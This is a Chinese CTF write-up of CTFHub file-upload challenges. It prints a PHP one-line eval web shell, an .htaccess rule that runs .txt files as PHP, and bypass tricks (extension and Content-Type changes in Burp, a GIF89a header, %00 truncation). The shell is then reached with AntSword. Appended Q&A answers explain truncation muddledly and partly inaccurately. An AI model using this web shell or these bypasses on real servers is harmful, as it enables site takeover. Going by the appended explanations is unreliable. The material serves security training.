CTFHub 文件上传

无验证

打开题目

打开题目环境

题目提示无限制,直接上传一句话木马

<?php @eval($_POST['shell']);?>

上传成功,连接蚁剑

添加url地址和密码,密码就是一句木马中中括号里的shell,这里要注意的是url地址后记得添加上传文件相对路径

连接成功

在html目录中发现flag文件

打开flag文件得到flag

提交flag

前端验证

打开题目,上传一个php文件,发现不允许上传,查看源代码发现只允许上传jpg png gif三种文件

我们就上传一个一句话木马的png文件

然后进行抓包

将文件改为php文件

Forward

连接蚁剑,发现flag

打开得到flag

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能,在这里我们就是通过htaccess文件改变文件拓展名

首先我们上传一个一句话木马的txt文件

然后就将htaccess文件上传(注意:这里的文件名就是.htaccess,如果你改成1.htaccess或者其他的都会出现问题,具体原因我也不知道。)

但是Windows文件文件名不能为空,我们就用cmd命令中的rename命令进行更改

.htaccess文件中的内容如下:AddType application/x-httpd-php .txt #将所有的.txt文件解析为php

接下来连接蚁剑

找到flag文件,得到flag

MIME绕过

打开题目,还是先尝试能不能直接上传php文件,发现不行

这里我就直接改为上传jpg文件。上传成功,bp抓包。

修改数据包,上传成功后连接蚁剑(这里我们由于一开始上传的是jpg文件,就需要将filename的后缀改为php,其他格式文件如此。但是如果一开始就上传php文件进行抓包,我们就要更改上传所检测的部分,也就是Content-Type)

找出flag

文件头检查

头文件检查不仅需要绕过mime,还会检查上传文件的文件头是否符合要求,因此我们需要在一张图片的结尾添加一句话木马,同时在开头加入可以被识别的代码,如GIF89a

打开题目,上传文件,题目只允许上传jpeg,jpg,png,gif四类文件

上传成功,bp抓包

改为php后上传,连接蚁剑,找到flag'

00截断

打开题目,查看源码,发现题目有过滤

上传一个文件

bp抓包,更改以下部分

将shell.php.jpg改为shell.php%00.jpg

%00后边的部分就会被截断失效,以php的形式上传,另外还确定了上传地址,然后直接连接蚁剑

找出flag文件得到flag

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: ctfhub 文件上传 - 00截断是一种常见的安全漏洞,攻击者可以通过截断文件名或者文件内容来绕过文件上传的限制,从而上传恶意文件或者执行任意代码。这种漏洞需要开发人员在编写文件上传功能时注意对文件名和内容进行严格的校验和过滤,以防止攻击者利用截断漏洞进行攻击。同时,用户也应该注意不要上传可疑的文件或者访问不可信的网站,以保护自己的计算机安全。 ### 回答2: 文件上传漏洞是目前很多Web应用存在的一种常见漏洞,该漏洞的攻击者可以利用该漏洞从Web应用程序中上传恶意文件,绕过访问控制机制,并在受害者服务器上执行任意命令。 在CTFHub文件上传-00截断中,漏洞原理是:在上传文件时,上传文件的后缀名是通过从客户端请求中获取的,如果在获取后缀名的过程中,我们可以通过攻击来修改请求,就可以上传任意类型的文件,甚至是可执行文件,从而达到绕过文件类型的限制。 具体细节如下: 1. 开始上传文件,上传的文件后缀名为.php 2. 修改上传请求中的文件后缀名为.gif,并截断请求,使之只保留文件的前8个字节。 3. 上传的文件类型变为gif,并成功上传。 4. 由于文件类型被篡改,服务器未检测到有可执行文件被上传,因此上传成功。 5. 资产管理窗口中能够看到已上传的文件,并能够通过访问路径访问到上传的文件,例如,可以直接访问上传的可执行文件,从而达到绕过文件类型限制,执行任意命令的目的。 由此可见,文件上传漏洞是一种危害性较高的漏洞,因此开发人员在开发Web应用程序时,一定要认真检查,确保不会出现类似的漏洞现象。同时,在测试人员测试网站时,也应该重点检查文件上传功能,以确保网站的安全性和可靠性。 ### 回答3: ctfhub 文件上传 - 00截断是一种常见的文件上传漏洞攻击,攻击者利用该漏洞可以上传恶意文件并将其存储到服务器中,从而导致服务器被攻击。 文件上传 - 00截断漏洞主要是利用了一些文件上传的不足之处,攻击者可以通过伪造请求包来修改原始文件名,从而实现文件截断的目的,也就是只保留了原始文件名的部分内容而去掉了后面的内容。 当攻击者上传文件时,如果原始文件名过长,则服务器会自动截断文件名,一旦攻击者将文件名截断并发送一个伪造的请求包到服务器上,则服务器会根据该请求包上传一个被截断的文件,从而导致服务器受到攻击。 例如,攻击者可以将文件名设置为“hack.php\x00.jpg”,当该文件上传到服务器上时,服务器会将文件名截断为“hack.php”,从而隐藏了文件的真实后缀名,诱骗用户下载并执行该文件。 为了避免被此类文件上传漏洞攻击,开发人员应该加强字符串截断的限制,防止非法输入,并进行文件类型检测,只允许上传指定的文件类型,同时加密重要文件和数据,保护系统安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值